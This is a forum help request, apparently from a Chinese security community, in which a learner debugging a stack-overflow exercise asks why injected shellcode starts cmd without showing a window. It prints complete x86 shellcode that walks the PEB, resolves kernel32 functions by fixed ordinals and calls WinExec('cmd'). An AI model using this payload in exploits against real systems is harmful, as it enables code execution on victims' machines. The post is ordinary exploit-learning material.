小白测试一个程序的栈溢出，将写好的shellcode布置到栈中，shellcode主要就是弹出一个cmd的窗口，但是在测试的时候，shellcode能够准确执行，而且cmd的进程也创建成功了，但是就是没有窗口弹出来。这段shellcode在写成程序单独测试的时候是可以将cmd的窗口弹出来的。源码如下：

int main()
{
        _asm
        {
                CLD
                        xor edx,edx
                        mov ebx, fs:[edx + 0x30]; pointer to PEB
                        mov ecx, [ebx + 0x0c]; pointer to PEB_LDR_DATA
                        mov ecx, [ecx + 0x1c]; 获得模块链表头指针, 同时也是第一个节点指向下一项的指针
                        mov ecx, [ecx]
                        mov ecx, [ecx]
                        mov ebx, [ecx + 0x8]; base address

                        mov edx, [ebx + 0x3c]; 基址偏移0x3c, 得到pe头的偏移
                        add edx, ebx; pe头
                        mov ecx, edx
                        add ecx, 0x78; 数据目录 - 导出表
                        mov ecx, [ecx]
                        add ecx, ebx; 导出表
                        mov edx, [ecx + 0x1c]
                        add edx, ebx; 地址数组

                        mov eax, [edx + 4 * 829]; 查找LoadLibrary函数
                        add eax, ebx
                        mov esi, eax

                        mov eax, [edx + 4 * 581]; 查找GetProcAddress函数
                        add eax, ebx
                        mov edi, eax

                        mov eax, [edx + 4 * 283]; 查找ExitProcess函数
                        add eax, ebx
                        mov ebp, eax

                        xor edx,edx
                        push edx
                        push 0x32336c65
                        push 0x6e72656b
                        push esp
                        call esi;调用loadlibrary函数

                        xor edx, edx
                        push 0x636578
                        push 0x456e6957
                        push esp
                        push eax
                        call edi;调用getprocaddress函数

                        xor edx, edx
                        push 0x646d63
                        push 1
                        mov edx,esp
                        add edx,4
                        push edx
                        call eax;调用WinExec函数

                        xor edx, edx
                        push edx
                        call ebp;调用exitprocess函数
        }
}
这是我改用winexec后的代码，之前使用的是shellexecute函数，同样也是这个情况
PS:窗口的显示参数那里我填的是SHOW_NORMAL，不存在参数的问题

截图如下：



希望各路大牛可以指点一下迷津

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！

上传的附件：

• CD0U`%3F0YK{N7U02~OU(2A.png （117.08kb，5次下载）